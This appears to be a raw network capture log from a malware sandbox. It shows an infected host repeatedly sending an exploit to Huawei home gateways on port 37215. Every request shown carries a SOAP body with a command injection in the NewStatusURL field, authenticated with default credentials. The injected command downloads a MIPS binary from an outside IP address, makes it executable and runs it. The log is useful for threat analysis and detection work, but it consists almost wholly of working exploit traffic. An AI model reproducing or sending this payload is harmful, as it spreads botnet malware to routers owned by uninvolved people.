Jan 22, 2024 04:02:20.524739981 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:48.492901087 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.20	50048	94.122.97.21	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:56.202157974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.20	57598	156.77.138.184	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:57.577389956 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.20	50276	197.155.93.25	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:57.848083973 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.20	45800	156.254.89.83	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:01:58.137414932 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:59.592722893 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:01.340671062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:04.836836100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
